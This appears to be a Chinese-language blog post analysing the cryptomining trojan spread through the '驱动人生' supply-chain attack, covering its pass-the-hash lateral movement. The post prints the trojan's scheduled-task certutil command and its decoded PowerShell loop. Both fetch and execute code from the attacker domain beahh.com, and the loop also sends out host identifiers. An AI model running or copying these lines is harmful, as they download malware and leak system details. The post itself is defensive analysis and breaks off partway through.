关注“IT魔幻屋”,获取一手前线技术情报!
0x00 事件背景
360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。
pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。
0x01 分析研讨
由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。
PS:样本代码过长,遂使用图片截图
0x02 分析过程
病毒样本:
第一个动作,创建一个名为Certificate的任务计划,在七点开始,每隔一小时执行一次以下命令:
cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)
由于目前cert.beahh.com已经无法访问,所以进行下一个powershell分析环节。
首先,powershell -nop -w hidden -ep bypass -e后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。
Windows中的powershell执行策略:
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine Bypass
将后面的base64解密后:
得到如下代码:
while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}
外部是一个循环,将Sleep去除后,可以看到调用了Invoke-Expression,Invoke-Expression是一个能将变量的内容当作powershell表达式执行的函数。
而iex只是Invoke-Expression的别名。
下面简单演示几个例子:
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>
将上述的木马脚本中iex替换成Write-Host即可:
while($true)
{
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}
在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。